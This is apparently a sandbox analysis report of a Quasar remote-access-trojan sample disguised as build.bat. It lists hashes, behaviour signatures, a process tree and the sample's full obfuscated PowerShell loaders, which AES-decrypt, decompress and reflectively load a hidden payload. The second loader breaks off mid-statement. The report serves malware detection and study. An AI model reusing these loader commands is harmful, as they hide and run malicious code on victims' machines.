Analysis
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max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
14-01-2025 18:13
Static task
static1
Behavioral task
behavioral1
Sample
build.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
build.bat
Resource
win10v2004-20241007-en
General
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Target
build.bat
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Size
14.0MB
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MD5
ef8beb81c6fa2aaad4a314be361292ce
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SHA1
7b7296096931ac5d62081cc91ead8afd2346e0c7
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SHA256
6377476be087b6911f24f93a601fd8f46461f52815ec27f95371c8418c385377
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SHA512
8ffa18e66e4e8a3a23eb7c2375fa6b25aab90da3265f35d56ea9965f8d2c89a988052bbd0e05c0b3b3c124cb5e9f47b0b6ab5ea0df3b880d449fd3ff2a25767f
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SSDEEP
49152:Lhha5TtF7ZXKxZvLjnrt64H1eGHrWT7xdJ11ar07nqcBIL/ULWorCWmZ9vXEdQm/:E
Malware Config
Extracted
quasar
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reconnect_delay
3000
Signatures
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Quasar family
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Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/1160-58-0x000002265ECA0000-0x000002265F416000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 2968 created 616 2968 build.bat.exe 5 PID 1160 created 616 1160 $sxr-powershell.exe 5 PID 1160 created 616 1160 $sxr-powershell.exe 5 PID 2968 created 616 2968 build.bat.exe 5 PID 2968 created 616 2968 build.bat.exe 5 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation build.bat.exe -
Deletes itself 1 IoCs
pid Process 2968 build.bat.exe -
Executes dropped EXE 3 IoCs
pid Process 2968 build.bat.exe 1160 $sxr-powershell.exe 872 $sxr-powershell.exe -
Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 1160 $sxr-powershell.exe 872 $sxr-powershell.exe -
Drops file in System32 directory 17 IoCs
description ioc Process File opened for modification C:\Windows\System32\vcruntime140_1d.dll build.bat.exe File opened for modification C:\Windows\System32\vcruntime140d.dll build.bat.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\System32\vcruntime140d.dll build.bat.exe File opened for modification C:\Windows\System32\ucrtbased.dll build.bat.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\ucrtbased.dll $sxr-powershell.exe File opened for modification C:\Windows\System32\vcruntime140d.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File created C:\Windows\System32\vcruntime140_1d.dll build.bat.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File created C:\Windows\System32\ucrtbased.dll build.bat.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe -
Suspicious use of SetThreadContext 5 IoCs
description pid Process procid_target PID 2968 set thread context of 1716 2968 build.bat.exe 93 PID 1160 set thread context of 4072 1160 $sxr-powershell.exe 95 PID 1160 set thread context of 4544 1160 $sxr-powershell.exe 98 PID 2968 set thread context of 1432 2968 build.bat.exe 100 PID 2968 set thread context of 2268 2968 build.bat.exe 101 -
Drops file in Windows directory 4 IoCs
description ioc Process File opened for modification C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File created C:\Windows\$sxr-powershell.exe build.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe build.bat.exe File created C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2592 cmd.exe 1020 PING.EXE -
Kills process with taskkill 1 IoCs
pid Process 2456 taskkill.exe -
Modifies data under HKEY_USERS 14 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 14 Jan 2025 18:15:24 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1736878523" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={028F791C-9EDF-47B3-B697-8CBCC2DA956D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 1020 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2968 build.bat.exe 2968 build.bat.exe 2968 build.bat.exe 1716 dllhost.exe 1716 dllhost.exe 1716 dllhost.exe 1716 dllhost.exe 2968 build.bat.exe 2968 build.bat.exe 1160 $sxr-powershell.exe 1160 $sxr-powershell.exe 1160 $sxr-powershell.exe 1160 $sxr-powershell.exe 4072 dllhost.exe 4072 dllhost.exe 4072 dllhost.exe 4072 dllhost.exe 1160 $sxr-powershell.exe 1160 $sxr-powershell.exe 872 $sxr-powershell.exe 872 $sxr-powershell.exe 1160 $sxr-powershell.exe 4544 dllhost.exe 4544 dllhost.exe 872 $sxr-powershell.exe 872 $sxr-powershell.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe 4544 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2968 build.bat.exe Token: SeDebugPrivilege 2968 build.bat.exe Token: SeDebugPrivilege 1716 dllhost.exe Token: SeDebugPrivilege 1160 $sxr-powershell.exe Token: SeDebugPrivilege 1160 $sxr-powershell.exe Token: SeDebugPrivilege 4072 dllhost.exe Token: SeDebugPrivilege 872 $sxr-powershell.exe Token: SeDebugPrivilege 1160 $sxr-powershell.exe Token: SeDebugPrivilege 4544 dllhost.exe Token: SeDebugPrivilege 2968 build.bat.exe Token: SeDebugPrivilege 1432 dllhost.exe Token: SeDebugPrivilege 2968 build.bat.exe Token: SeDebugPrivilege 2268 dllhost.exe Token: SeDebugPrivilege 2456 taskkill.exe Token: SeAssignPrimaryTokenPrivilege 1788 svchost.exe Token: SeIncreaseQuotaPrivilege 1788 svchost.exe Token: SeSecurityPrivilege 1788 svchost.exe Token: SeTakeOwnershipPrivilege 1788 svchost.exe Token: SeLoadDriverPrivilege 1788 svchost.exe Token: SeSystemtimePrivilege 1788 svchost.exe Token: SeBackupPrivilege 1788 svchost.exe Token: SeRestorePrivilege 1788 svchost.exe Token: SeShutdownPrivilege 1788 svchost.exe Token: SeSystemEnvironmentPrivilege 1788 svchost.exe Token: SeUndockPrivilege 1788 svchost.exe Token: SeManageVolumePrivilege 1788 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1788 svchost.exe Token: SeIncreaseQuotaPrivilege 1788 svchost.exe Token: SeSecurityPrivilege 1788 svchost.exe Token: SeTakeOwnershipPrivilege 1788 svchost.exe Token: SeLoadDriverPrivilege 1788 svchost.exe Token: SeSystemtimePrivilege 1788 svchost.exe Token: SeBackupPrivilege 1788 svchost.exe Token: SeRestorePrivilege 1788 svchost.exe Token: SeShutdownPrivilege 1788 svchost.exe Token: SeSystemEnvironmentPrivilege 1788 svchost.exe Token: SeUndockPrivilege 1788 svchost.exe Token: SeManageVolumePrivilege 1788 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1788 svchost.exe Token: SeIncreaseQuotaPrivilege 1788 svchost.exe Token: SeSecurityPrivilege 1788 svchost.exe Token: SeTakeOwnershipPrivilege 1788 svchost.exe Token: SeLoadDriverPrivilege 1788 svchost.exe Token: SeSystemtimePrivilege 1788 svchost.exe Token: SeBackupPrivilege 1788 svchost.exe Token: SeRestorePrivilege 1788 svchost.exe Token: SeShutdownPrivilege 1788 svchost.exe Token: SeSystemEnvironmentPrivilege 1788 svchost.exe Token: SeUndockPrivilege 1788 svchost.exe Token: SeManageVolumePrivilege 1788 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1788 svchost.exe Token: SeIncreaseQuotaPrivilege 1788 svchost.exe Token: SeSecurityPrivilege 1788 svchost.exe Token: SeTakeOwnershipPrivilege 1788 svchost.exe Token: SeLoadDriverPrivilege 1788 svchost.exe Token: SeSystemtimePrivilege 1788 svchost.exe Token: SeBackupPrivilege 1788 svchost.exe Token: SeRestorePrivilege 1788 svchost.exe Token: SeShutdownPrivilege 1788 svchost.exe Token: SeSystemEnvironmentPrivilege 1788 svchost.exe Token: SeUndockPrivilege 1788 svchost.exe Token: SeManageVolumePrivilege 1788 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1788 svchost.exe Token: SeIncreaseQuotaPrivilege 1788 svchost.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1160 $sxr-powershell.exe 2844 Conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3860 wrote to memory of 1336 3860 cmd.exe 83 PID 3860 wrote to memory of 1336 3860 cmd.exe 83 PID 1336 wrote to memory of 3088 1336 net.exe 84 PID 1336 wrote to memory of 3088 1336 net.exe 84 PID 3860 wrote to memory of 2968 3860 cmd.exe 92 PID 3860 wrote to memory of 2968 3860 cmd.exe 92 PID 2968 wrote to memory of 1716 2968 build.bat.exe 93 PID 2968 wrote to memory of 1716 2968 build.bat.exe 93 PID 2968 wrote to memory of 1716 2968 build.bat.exe 93 PID 2968 wrote to memory of 1716 2968 build.bat.exe 93 PID 2968 wrote to memory of 1716 2968 build.bat.exe 93 PID 2968 wrote to memory of 1716 2968 build.bat.exe 93 PID 2968 wrote to memory of 1716 2968 build.bat.exe 93 PID 2968 wrote to memory of 1160 2968 build.bat.exe 94 PID 2968 wrote to memory of 1160 2968 build.bat.exe 94 PID 1160 wrote to memory of 4072 1160 $sxr-powershell.exe 95 PID 1160 wrote to memory of 4072 1160 $sxr-powershell.exe 95 PID 1160 wrote to memory of 4072 1160 $sxr-powershell.exe 95 PID 1160 wrote to memory of 4072 1160 $sxr-powershell.exe 95 PID 1160 wrote to memory of 4072 1160 $sxr-powershell.exe 95 PID 1160 wrote to memory of 4072 1160 $sxr-powershell.exe 95 PID 1160 wrote to memory of 4072 1160 $sxr-powershell.exe 95 PID 1160 wrote to memory of 872 1160 $sxr-powershell.exe 97 PID 1160 wrote to memory of 872 1160 $sxr-powershell.exe 97 PID 1160 wrote to memory of 4544 1160 $sxr-powershell.exe 98 PID 1160 wrote to memory of 4544 1160 $sxr-powershell.exe 98 PID 1160 wrote to memory of 4544 1160 $sxr-powershell.exe 98 PID 1160 wrote to memory of 4544 1160 $sxr-powershell.exe 98 PID 1160 wrote to memory of 4544 1160 $sxr-powershell.exe 98 PID 1160 wrote to memory of 4544 1160 $sxr-powershell.exe 98 PID 1160 wrote to memory of 4544 1160 $sxr-powershell.exe 98 PID 1160 wrote to memory of 4544 1160 $sxr-powershell.exe 98 PID 1160 wrote to memory of 4544 1160 $sxr-powershell.exe 98 PID 4544 wrote to memory of 616 4544 dllhost.exe 5 PID 4544 wrote to memory of 672 4544 dllhost.exe 7 PID 4544 wrote to memory of 952 4544 dllhost.exe 12 PID 4544 wrote to memory of 384 4544 dllhost.exe 13 PID 4544 wrote to memory of 540 4544 dllhost.exe 14 PID 4544 wrote to memory of 948 4544 dllhost.exe 15 PID 4544 wrote to memory of 1096 4544 dllhost.exe 16 PID 4544 wrote to memory of 1104 4544 dllhost.exe 17 PID 4544 wrote to memory of 1148 4544 dllhost.exe 19 PID 4544 wrote to memory of 1212 4544 dllhost.exe 20 PID 4544 wrote to memory of 1272 4544 dllhost.exe 21 PID 4544 wrote to memory of 1320 4544 dllhost.exe 22 PID 672 wrote to memory of 2752 672 lsass.exe 45 PID 4544 wrote to memory of 1372 4544 dllhost.exe 23 PID 4544 wrote to memory of 1424 4544 dllhost.exe 24 PID 4544 wrote to memory of 1444 4544 dllhost.exe 25 PID 4544 wrote to memory of 1548 4544 dllhost.exe 26 PID 4544 wrote to memory of 1556 4544 dllhost.exe 27 PID 4544 wrote to memory of 1692 4544 dllhost.exe 28 PID 4544 wrote to memory of 1720 4544 dllhost.exe 29 PID 4544 wrote to memory of 1772 4544 dllhost.exe 30 PID 4544 wrote to memory of 1808 4544 dllhost.exe 31 PID 4544 wrote to memory of 1884 4544 dllhost.exe 32 PID 4544 wrote to memory of 1964 4544 dllhost.exe 33 PID 4544 wrote to memory of 1976 4544 dllhost.exe 34 PID 4544 wrote to memory of 1452 4544 dllhost.exe 35 PID 4544 wrote to memory of 1700 4544 dllhost.exe 36 PID 4544 wrote to memory of 1788 4544 dllhost.exe 37 PID 4544 wrote to memory of 2120 4544 dllhost.exe 38 PID 4544 wrote to memory of 2224 4544 dllhost.exe 40 PID 4544 wrote to memory of 2344 4544 dllhost.exe 41 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 4920 attrib.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:384
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{07de15bb-28b9-4f32-87d1-fa9ae159d933}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1716
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e96de9b9-7dd3-49fe-b8f9-7f37dded8710}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4072
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{34d4b572-a9a6-484b-abee-0b8930ee7f7e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4544
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{5ff19b61-40f8-42b1-9db8-8aad591c0e91}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1432
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8be4af5e-0ad8-4796-af91-4a514886d20a}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2268
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:540
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:948
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1096
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1104
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1148
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2204
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1212
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1272
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1444
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2780
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1548
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1556
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1772
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1808
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1964
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1976
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1452
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1700
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1788
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2120
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2224
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2684
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2800
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2808
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2820
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2076
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:728
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3336
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3468
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\build.bat"2⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3860 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3052
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C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵PID:3088
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-
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C:\Users\Admin\AppData\Local\Temp\build.bat.exe"build.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function iwkhR($DITIA){ $XVnki=[System.Security.Cryptography.Aes]::Create(); $XVnki.Mode=[System.Security.Cryptography.CipherMode]::CBC; $XVnki.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $XVnki.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8ehdS6ppW71xL6mDjAeXsyQHYKmv0CPtd6Kn4aXzt4='); $XVnki.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hx3HwApb8t08fxY/Go7cSw=='); $LrZFK=$XVnki.CreateDecryptor(); $return_var=$LrZFK.TransformFinalBlock($DITIA, 0, $DITIA.Length); $LrZFK.Dispose(); $XVnki.Dispose(); $return_var;}function kOuIB($DITIA){ $DbpkU=New-Object System.IO.MemoryStream(,$DITIA); $qZtjl=New-Object System.IO.MemoryStream; $JMgSB=New-Object System.IO.Compression.GZipStream($DbpkU, [IO.Compression.CompressionMode]::Decompress); $JMgSB.CopyTo($qZtjl); $JMgSB.Dispose(); $DbpkU.Dispose(); $qZtjl.Dispose(); $qZtjl.ToArray();}function ZkZVP($DITIA,$AoxAJ){ $HLgZK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$DITIA); $UXpIZ=$HLgZK.EntryPoint; $UXpIZ.Invoke($null, $AoxAJ);}$zVdRm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\build.bat').Split([Environment]::NewLine);foreach ($BYfmw in $zVdRm) { if ($BYfmw.StartsWith(':: ')) { $Rndkm=$BYfmw.Substring(3); break; }}$FMGlq=[string[]]$Rndkm.Split('\');$IgKIL=kOuIB (iwkhR ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($FMGlq[0])));$voFjb=kOuIB (iwkhR ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($FMGlq[1])));ZkZVP $voFjb (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));ZkZVP $IgKIL (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Deletes itself
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2968 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function PprBf($RmAux){ $VbRCn=[System.Security.Cryptography.Aes]::Create(); $VbRCn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $VbRCn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $VbRCn.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU='); $VbRCn.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ=='); $nMOmr=$VbRCn.('rotpyrceDetaerC'[-1..-15] -join '')(); $WZWky=$nMOmr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmAux, 0, $RmAux.Length); $nMOmr.Dispose(); $VbRCn.Dispose(); $WZWky;}function SPSlI($RmAux){ $qrnaZ=New-Object System.IO.MemoryStream(,$RmAux); $RJeXu=New-Object System.IO.MemoryStream; $eBeQA=New-Object System.IO.Compression.GZipStream($qrnaZ, [IO.Compression.CompressionMode]::Decompress); $eBeQA.CopyTo($RJeXu); $eBeQA.Dispose(); $qrnaZ.Dispose(); $RJeXu.Dispose(); $RJeXu.ToArray();}function aBEzg($RmAux,$ZKJrf){ $oxAUi=[System.Reflection.Assembly]::Load([byte[]]$RmAux); $qVnjt=$oxAUi.EntryPoint; $qVnjt.Invoke($null, $ZKJrf);}$VbRCn1 = New-Object System.Security.Cryptography.AesManaged;$VbRCn1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VbRCn1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VbRCn1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU=');$VbRCn1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ==');$MSWRP = $VbRCn1.('rotpyrceDetaerC'[-1..-15] -join '')();$NUNZn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iZ8jPKmNkFdL1A6USwSGLA==');$NUNZn = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn, 0, $NUNZn.Length);$NUNZn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn);$cBXxm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('302eS2iAhetJuvIY9pVgKOFxBony5LGiLQi+lPOo9Ig=');$cBXxm = 